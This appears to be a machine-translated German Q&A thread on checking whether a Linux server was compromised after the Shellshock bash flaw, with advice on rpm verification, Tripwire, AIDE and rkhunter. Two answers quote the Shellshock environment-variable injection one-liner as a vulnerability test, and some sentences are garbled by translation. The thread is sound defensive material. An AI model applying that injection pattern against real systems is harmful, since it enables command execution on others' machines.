-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Nach einer Weile bemerkte ich SSH-Verbindungen von verschiedenen Orten wie China, die normalerweise nicht so oft unseren Server besuchen. Ich habe bash als Notfallmaßnahme gepatcht (es wäre schön gewesen, gepatchte Quellen von der FSF-Website zur Verfügung zu haben und nicht nur die wirklich ALTEN Quellen und Patch-Dateien (von denen eine auf den ersten Blick nicht richtig zutraf). Das System ist für eine vollständige Version geplant Wischen Sie jetzt, wenn also jemand nach etwas anderem über den Angriff sucht, können Sie fragen, aber tun Sie es bald.

Frank Waller
quelle
3

Diese Antwort bezieht sich nicht speziell auf Shellshock, sondern auf jedes System, das Sie für kompromittiert halten

Zweiter Hinweis: Sie können nicht sicher sein, ob Sie sich von einem kompromittierten System auf das Root-System erholt haben. Ihre einzige Aktion besteht darin, das System zu zerstören und erneut bereitzustellen

Versuchen Sie, einen sauberen statischen Build des rpmBefehls zu erhalten und ihn auszuführen rpm --verify --all. Hier erfahren Sie, welche zu einem Paket gehörenden Dateien geändert wurden. Da Sie es jedoch möglicherweise auf einem kompromittierten System ausführen, können Sie dem Ergebnis möglicherweise nicht vollständig vertrauen. Dann können Sie einfach a ausführen rpm -qa, um die Liste der Pakete abzurufen, ein anderes System mit denselben Paketversionen und dann a find / -type f |xargs -r -n 100 md5sum |sortauf beiden Systemen neu zu erstellen und festzustellen, was sich unterscheidet. Auch wenn Sie Ihr System ordnungsgemäß verwalten (dh nichts manuell außerhalb von / opt oder / usr / local / bin oder an einem anderen nicht verwalteten Ort installieren), können Sie mit nach allen Dateien in Ihrem System suchen, die nicht zu einem Paket gehören find / -type f -exec rpm -qf {} \;. Es sollte Fehler für unbekannte Dateien anzeigen. Ich lasse dich das Positive nicht als Übung zeigen ;-)

Um dies auch bei kryptografischen Beweisen regelmäßig zu tun, gibt es ein Tool namens, Tripwiredas Sie möglicherweise noch als kostenlose Version finden. Es ist alt, macht aber seinen Job. Eine neuere Alternative ist AIDE, aber es wurde keine Krypto verwendet, als ich es mir vor Jahren ansah.

Es gibt einige Tools, die helfen können. Zum Beispiel nach Paket suchen rkhunter. Es durchsucht Ihren Computer nach bekannten Root-Toolkits und ausgenutzten Dateien.

Offensichtlich sollten diese Tools installiert und konfiguriert worden sein, bevor das System kompromittiert wird, und diese Tools können auch gezielt eingesetzt werden, wenn Ihr System erfolgreich auf den Root-Zugriff gehackt wurde. Außerdem können diese Tools sehr intensiv sein und Ihr System verlangsamen.

Alex F
quelle
2

Die einzige Möglichkeit, festzustellen, ob Ihr Server gefährdet ist, besteht darin, eine Signatur Ihrer Dateien zu erstellen und Ihre aktuellen Dateien damit zu vergleichen. Trotzdem können Sie sehen, ob Sie anfällig sind.

  1. du kannst nicht. Es ist anzunehmen, dass Ihre üblichen Überwachungstools (ps, top, lsof, ...) durch ähnliche Tools ersetzt wurden, deren Ausgabe normal aussieht und verdächtige Aktivitäten verdeckt
  2. Nein. kann sich in jedem Ordner mit ausführbaren Dateien befinden.
  3. Alle ausführbaren Dateien oder Skripten (ELF-Binärdateien, .shell-Skripten usw.), einschließlich der üblichen Überwachungstools
Manu H
quelle
-3

So finden Sie heraus, ob Ihre Linux-Box kompromittiert ist.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If if kehrt zurück

vulnerable
this is a test

Sie sind.

Führen Sie zum Ausführen des Updates unter root den folgenden Befehl aus

sudo yum update bash
PJunior
quelle
16
-1 Diese Prüfung überprüft, ob die Bash anfällig ist, nicht, ob sie tatsächlich kompromittiert wurde.
Calimo
1
Es wird auch vorausgesetzt, dass Sie ausgeführt werden yumund nicht ein anderer Paketmanager.
DavidG
-3

Sie können überprüfen, ob Sie anfällig sind, indem Sie die folgenden Befehle ausführen (vom CSA bereitgestellter Code). Öffnen Sie ein Terminalfenster und geben Sie an der Eingabeaufforderung $ den folgenden Befehl ein:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Wenn Ihre Bash NICHT auf dem neuesten Stand ist, wird Folgendes gedruckt:

vulnerable
this is a test

Wenn Ihre Bash auf dem neuesten Stand ist, sehen Sie nur:

this is a test

Weitere Details finden Sie hinter diesem Link .

Manu Somaraj
quelle
1
Die Frage war zu erkennen, dass ein Server kompromittiert wurde , nicht, dass es anfällig ist
Gareth
Bitte ziehen Sie in Betracht, andere Antworten zu lesen, bevor Sie eine sehr ähnliche Antwort veröffentlichen, deren Punktzahl niedrig ist, da sie NICHT die Frage beantwortet.
Manu H